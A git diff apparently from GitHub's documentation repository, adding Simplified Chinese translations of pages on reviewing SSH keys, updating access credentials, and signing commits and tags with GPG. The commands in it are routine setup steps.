+`mandatory_message_viewed`   | 当您查看必读消息时触发（更多信息请参阅“[自定义用户消息](/admin/user-management/customizing-user-messages-for-your-enterprise)” | |{% endif %}| | `failed_login` | 当您未能成功登录时触发。 | `remove_email` | 当您删除电子邮件地址时触发。 | `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %} | `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} | `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} | `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+
+### `user_status` 类操作
+
+| 操作        | 描述                                                                                           |
+| --------- | -------------------------------------------------------------------------------------------- |
+| `update`  | 当您在个人资料中设置或更改状态时触发。 更多信息请参阅“[设置状态](/articles/personalizing-your-profile/#setting-a-status)”。 |
+| `destroy` | 当您在个人资料中清除状态时触发。                                                                             |
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
index 4d40bff504..94030647d1 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
@@ -1,5 +1,5 @@
 ---
-title: Reviewing your SSH keys
+title: 审查 SSH 密钥
 intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
   - /articles/keeping-your-application-access-tokens-safe
@@ -16,32 +16,32 @@ topics:
   - Identity
   - Access management
 ---
-You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid.
+
+您可以删除未经授权（或可能已泄密）的 SSH 密钥，以确保攻击者无法再访问您的仓库。 您还可以批准有效的现有 SSH 密钥。
 
 {% mac %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. 在 SSH Settings（SSH 设置）页面中，记下与您的帐户关联的 SSH 密钥。 对于您无法识别或已过期的密钥，请单击 **Delete（删除）**。 如果有您要保留的有效 SSH 密钥，请单击 **Approve（批准）**。 ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **注：**如果您由于 Git 操作失败而审核 SSH 密钥，则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未验证密钥将在 SSH 密钥列表中突出显示。
 
   {% endtip %}
 
-4. Open Terminal.
+4. 打开终端。
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 找到并记录公钥指纹。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} 上的 SSH 密钥*应*匹配您计算机上的相同密钥。
 
 {% endmac %}
 
@@ -49,28 +49,27 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. 在 SSH Settings（SSH 设置）页面中，记下与您的帐户关联的 SSH 密钥。 对于您无法识别或已过期的密钥，请单击 **Delete（删除）**。 如果有您要保留的有效 SSH 密钥，请单击 **Approve（批准）**。 ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **注：**如果您由于 Git 操作失败而审核 SSH 密钥，则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未验证密钥将在 SSH 密钥列表中突出显示。
 
   {% endtip %}
 
-4. Open Git Bash. 
+4. 打开 Git Bash。
 
 5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
 
   {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 找到并记录公钥指纹。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} 上的 SSH 密钥*应*匹配您计算机上的相同密钥。
 
 {% endwindows %}
 
@@ -78,31 +77,30 @@ You can delete unauthorized (or possibly compromised) SSH keys to ensure that an
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**.
-	![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png)
+3. 在 SSH Settings（SSH 设置）页面中，记下与您的帐户关联的 SSH 密钥。 对于您无法识别或已过期的密钥，请单击 **Delete（删除）**。 如果有您要保留的有效 SSH 密钥，请单击 **Approve（批准）**。 ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png)
 
   {% tip %}
 
-     **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys.
+     **注：**如果您由于 Git 操作失败而审核 SSH 密钥，则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未验证密钥将在 SSH 密钥列表中突出显示。
 
   {% endtip %}
 
-4. Open Terminal.
+4. 打开终端。
 
 {% data reusables.command_line.start_ssh_agent %}
 
-6. Find and take a note of your public key fingerprint. 
+6. 找到并记录公钥指纹。
   ```shell
   $ ssh-add -l -E sha256
   > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
   ```
 
-7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer.
+7. {% data variables.product.product_name %} 上的 SSH 密钥*应*匹配您计算机上的相同密钥。
 
 {% endlinux %}
 
 {% warning %}
 
-**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern.
+**警告**：如果在 {% data variables.product.product_name %} 上看到您不熟悉的 SSH 密钥，请立即删除并联系 {% data variables.contact.contact_support %}寻求进一步的帮助。 无法识别的公钥可能表示安全问题。
 
 {% endwarning %}
diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
index 8ca974ea4b..bdf451e3c6 100644
--- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
+++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Updating your GitHub access credentials
-intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.'
+title: 更新 GitHub 访问凭据
+intro: '{% data variables.product.product_name %} 凭据不仅{% ifversion not ghae %}包括密码，还{% endif %}包括您用于与 {% data variables.product.product_name %} 通信的访问令牌、SSH 密钥和应用程序 API 令牌。 如果您有需要，可以自行重置所有这些访问凭据。'
 redirect_from:
   - /articles/rolling-your-credentials
   - /articles/how-can-i-reset-my-password
@@ -15,57 +15,56 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Update access credentials
+shortTitle: 更新访问凭据
 ---
-{% ifversion not ghae %}
-## Requesting a new password
 
-1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
-2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured.
-  ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png)
-3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder.
-4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**.
-  ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png)
-5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)."
+{% ifversion not ghae %}
+## 请求新密码
+
+1. 要请求新密码，请访问 {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}。
+2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. ![密码重置电子邮件请求对话框](/assets/images/help/settings/password-recovery-email-request.png)
+3. 我们将向您发送一封电子邮件，其中含有可让您重置密码的链接。 您必须在收到电子邮件后的 3 小时内单击此链接。 如果您没有收到来自我们的电子邮件，请确保检查垃圾邮件文件夹。
+4. 如果您启用了双重身份验证，将提示您获得 2FA 凭据。 键入您的 2FA 凭据或 2FA 恢复代码之一，然后单击 **Verify（验证）**。 ![双重身份验证提示](/assets/images/help/2fa/2fa-password-reset.png)
+5. 键入新密码，确认新密码，然后单击 **Change password（更改密码）**。 有关创建强密码的帮助，请参阅“[创建强密码](/articles/creating-a-strong-password)”
   {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %}
-  ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
+  ![密码恢复框](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
 
 {% tip %}
 
-To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+为避免将来丢失您的密码，我们建议使用安全密码管理器，如 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/)。
 
 {% endtip %}
 
-## Changing an existing password
+## 更改现有的密码
 
 {% data reusables.repositories.blocked-passwords %}
 
-1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}.
+1. {% data variables.product.signin_link %}到 {% data variables.product.product_name %}。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)"
-5. Click **Update password**.
+4. 在“Change password（更改密码）”下，输入旧密码、强新密码并确认新密码。 有关创建强密码的帮助，请参阅“[创建强密码](/articles/creating-a-strong-password)”
+5. 单击 **Update password（更新密码）**。
 
 {% tip %}
 
-For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details.
+为实现更高的安全性，除了更改密码以外，还可启用双重身份验证。 有关更多详细信息，请参阅[关于双重身份验证](/articles/about-two-factor-authentication)。
 
 {% endtip %}
 {% endif %}
-## Updating your access tokens
+## 更新访问令牌
 
-See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+有关审查和删除访问令牌的说明，请参阅“[审查授权的集成](/articles/reviewing-your-authorized-integrations)”。 要生成新的访问令牌，请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
-## Updating your SSH keys
+## 更新 SSH 密钥
 
-See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)."
+有关审查和删除 SSH 密钥的说明，请参阅“[审查 SSH 密钥](/articles/reviewing-your-ssh-keys)”。 要生成和添加新的 SSH 密钥，请参阅“[生成 SSH 密钥](/articles/generating-an-ssh-key)”。
 
-## Resetting API tokens
+## 重置 API 令牌
 
-If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint.
+如果您向 {% data variables.product.product_name %} 注册了任何应用程序，则需要重置其 OAuth 令牌。 更多信息请参阅“[重置授权](/rest/reference/apps#reset-an-authorization)”端点。
 
 {% ifversion not ghae %}
-## Preventing unauthorized access
+## 防止未授权的访问
 
-For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)."
+有关保护您的帐户和阻止未授权访问的更多提示，请参阅“[阻止未授权的访问](/articles/preventing-unauthorized-access)”。
 {% endif %}
diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md
index 8a3ba49810..308b63d8d5 100644
--- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md
+++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing commit signature verification
-intro: 'You can sign your work locally using GPG or S/MIME. {% data variables.product.product_name %} will verify these signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}'
+title: 管理提交签名验证
+intro: '您可以使用 GPG 或 S/MIME 在本地对工作进行签名。 {% data variables.product.product_name %} 将会验证这些签名，以便其他人知道提交来自可信的来源。{% ifversion fpt %} {% data variables.product.product_name %} 将自动使用 {% data variables.product.product_name %} web 界面{% endif %}对您的提交签名。'
 redirect_from:
   - /articles/generating-a-gpg-key
   - /articles/signing-commits-with-gpg
@@ -24,6 +24,6 @@ children:
   - /associating-an-email-with-your-gpg-key
   - /signing-commits
   - /signing-tags
-shortTitle: Verify commit signatures
+shortTitle: 验证提交签名
 ---
 
diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md
index a158f5199a..8183510e12 100644
--- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md
+++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Signing commits
-intro: You can sign commits locally using GPG or S/MIME.
+title: 对提交签名
+intro: 您可以使用 GPG 或 S/MIME 在本地对提交进行签名。
 redirect_from:
   - /articles/signing-commits-and-tags-using-gpg
   - /articles/signing-commits-using-gpg
@@ -16,45 +16,45 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
 {% tip %}
 
-**Tips:**
+**提示：**
 
-To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`.
+要将您的 Git 客户端配置为默认对本地仓库的提交签名，请在 Git 版本 2.0.0 及更高版本中，运行 `git config commit.gpgsign true`。 要在计算机上的任何本地仓库中默认对所有提交签名，请运行 `git config --global commit.gpgsign true`。
 
-To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools:
-  - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain.
-  - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools.
+要存储 GPG 密钥密码，以便无需在每次对提交签名时输入该密码，我们建议使用以下工具：
+  - 对于 Mac 用户，[GPG Suite](https://gpgtools.org/) 允许您在 Mac OS 密钥链中存储 GPG 密钥密码。
+  - 对于 Windows 用户，[Gpg4win](https://www.gpg4win.org/) 将与其他 Windows 工具集成。
 
-You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup.
+您也可以手动配置 [gpg-agent](http://linux.die.net/man/1/gpg-agent) 以保存 GPG 密钥密码，但这不会与 Mac OS 密钥链（如 ssh 代理）集成，并且需要更多设置。
 
 {% endtip %}
 
-If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key).
+如果您有多个密钥或尝试使用与您的提交者身份不匹配的密钥对提交或标记签名，应[将您的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key)。
 
-1. When committing changes in your local branch, add the -S flag to the git commit command:
+1. 当本地分支中的提交更改时，请将 S 标志添加到 git commit 命令：
   ```shell
   $ git commit -S -m <em>"your commit message"</em>
   # Creates a signed commit
   ```
-2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key).
-3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}:
+2. 如果您使用 GPG，则创建提交后，提供您[生成 GPG 密钥](/articles/generating-a-new-gpg-key)时设置的密码。
+3. 在本地完成创建提交后，将其推送到 {% data variables.product.product_name %} 上的远程仓库：
   ```shell
   $ git push
   # Pushes your local commits to the remote repository
   ```
-4. On {% data variables.product.product_name %}, navigate to your pull request.
+4. 在 {% data variables.product.product_name %} 上，导航到您的拉取请求。
 {% data reusables.repositories.review-pr-commits %}
-5. To view more detailed information about the verified signature, click Verified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+5. 要查看关于已验证签名的更多详细信息，请单击 Verified（已验证）。 ![已签名提交](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
 
-## Further reading
+## 延伸阅读
 
-* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-* "[Signing tags](/articles/signing-tags)"
+* "[检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys)"
+* "[生成新 GPG 密钥](/articles/generating-a-new-gpg-key)"
+* "[添加新 GPG 密钥到 GitHub 帐户](/articles/adding-a-new-gpg-key-to-your-github-account)"
+* "[向 Git 告知您的签名密钥](/articles/telling-git-about-your-signing-key)"
+* "[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)"
+* "[对标记签名](/articles/signing-tags)"
diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-tags.md
index 7d9a38a398..4c94be611d 100644
--- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-tags.md
+++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/signing-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Signing tags
-intro: You can sign tags locally using GPG or S/MIME.
+title: 对标记签名
+intro: 您可以使用 GPG 或 S/MIME 在本地对标记进行签名。
 redirect_from:
   - /articles/signing-tags-using-gpg
   - /articles/signing-tags
@@ -15,25 +15,26 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
-1. To sign a tag, add `-s` to your `git tag` command.
+1. 要对标记签名，请将 `-s` 添加到您的 `git tag` 命令。
   ```shell
   $ git tag -s <em>mytag</em>
   # Creates a signed tag
   ```
-2. Verify your signed tag it by running `git tag -v [tag-name]`.
+2. 通过运行 `git tag -v [tag-name]` 验证您签名的标记。
   ```shell
   $ git tag -v <em>mytag</em>
   # Verifies the signed tag
   ```
 
-## Further reading
+## 延伸阅读
 
-- "[Viewing your repository's tags](/articles/viewing-your-repositorys-tags)"
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
+- "[查看仓库的标记](/articles/viewing-your-repositorys-tags)"
+- "[检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys)"
+- "[生成新 GPG 密钥](/articles/generating-a-new-gpg-key)"
+- "[添加新 GPG 密钥到 GitHub 帐户](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[向 Git 告知您的签名密钥](/articles/telling-git-about-your-signing-key)"
+- "[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)"
+- "[对提交签名](/articles/signing-commits)"
diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
index 25275ba5df..b7cc743fbf 100644
--- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
+++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
@@ -1,6 +1,6 @@
 ---
-title: Telling Git about your signing key
-intro: 'To sign commits locally, you need to inform Git that there''s a GPG or X.509 key you''d like to use.'
+title: 将您的签名密钥告知 Git
+intro: 要在本地对提交签名，您需要通知 Git 您想要使用的 GPG 或 X.509 密钥。
 redirect_from:
   - /articles/telling-git-about-your-gpg-key
   - /articles/telling-git-about-your-signing-key
@@ -14,32 +14,33 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Tell Git your signing key
+shortTitle: 将您的签名密钥告诉 Git
 ---
+
 {% mac %}
 
-## Telling Git about your GPG key
+## 将您的 GPG 密钥告知 Git
 
 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+如果您没有与提交者身份匹配的 GPG 密钥，则需要将电子邮件与现有密钥关联。 更多信息请参阅“[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)”。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+如果您有多个 GPG 密钥，则需要告知 Git 要使用哪一个。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. If you aren't using the GPG suite, run the following command in the `zsh` shell to add the GPG key to your `.zshrc` file, if it exists, or your `.zprofile` file:
+1. 如果您使用的不是 GPG 套件， 在 `zsh` shell 中运行以下命令将GPG 密钥添加到您的 `shrc` 文件或 `.zprofile` 文件（如果存在）：
   ```shell
   $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi
   ```
-  Alternatively, if you use the `bash` shell, run this command:
+  或者，如果您使用 `bash` shell，则运行皮命令：
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
@@ -51,17 +52,17 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% windows %}
 
-## Telling Git about your GPG key
+## 将您的 GPG 密钥告知 Git
 
 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+如果您没有与提交者身份匹配的 GPG 密钥，则需要将电子邮件与现有密钥关联。 更多信息请参阅“[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)”。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+如果您有多个 GPG 密钥，则需要告知 Git 要使用哪一个。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
@@ -74,41 +75,41 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% linux %}
 
-## Telling Git about your GPG key
+## 将您的 GPG 密钥告知 Git
 
 If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+如果您没有与提交者身份匹配的 GPG 密钥，则需要将电子邮件与现有密钥关联。 更多信息请参阅“[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)”。
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+如果您有多个 GPG 密钥，则需要告知 Git 要使用哪一个。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. To add your GPG key to your bash profile, run the following command:
+1. 要将 GPG 密钥添加到您的 bash 配置文件中，请运行以下命令：
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
   ```
   {% note %}
 
-  **Note:** If you don't have `.bash_profile`, this command adds your GPG key to `.profile`.
+  **注：**如果您没有 `.bash_profile`，此命令会将 GPG 密钥添加到 `.profile`。
 
   {% endnote %}
 
 {% endlinux %}
 
-## Further reading
+## 延伸阅读
 
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- "[检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys)"
+- "[生成新 GPG 密钥](/articles/generating-a-new-gpg-key)"
+- "[在 GPG 密钥中使用经验证的电子邮件地址](/articles/using-a-verified-email-address-in-your-gpg-key)"
+- "[添加新 GPG 密钥到 GitHub 帐户](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key)"
+- "[对提交签名](/articles/signing-commits)"
+- "[对标记签名](/articles/signing-tags)"
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
index a58a2a56b1..51b5d4a674 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing GitHub using two-factor authentication
-intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.'
+title: 使用双重身份验证访问 GitHub
+intro: '启用 2FA 后，在登录到 {% data variables.product.product_name %} 时需要提供 2FA 验证码以及密码。'
 redirect_from:
   - /articles/providing-your-2fa-security-code
   - /articles/providing-your-2fa-authentication-code
@@ -14,59 +14,60 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Access GitHub with 2FA
+shortTitle: 使用 2FA 访问 GitHub
 ---
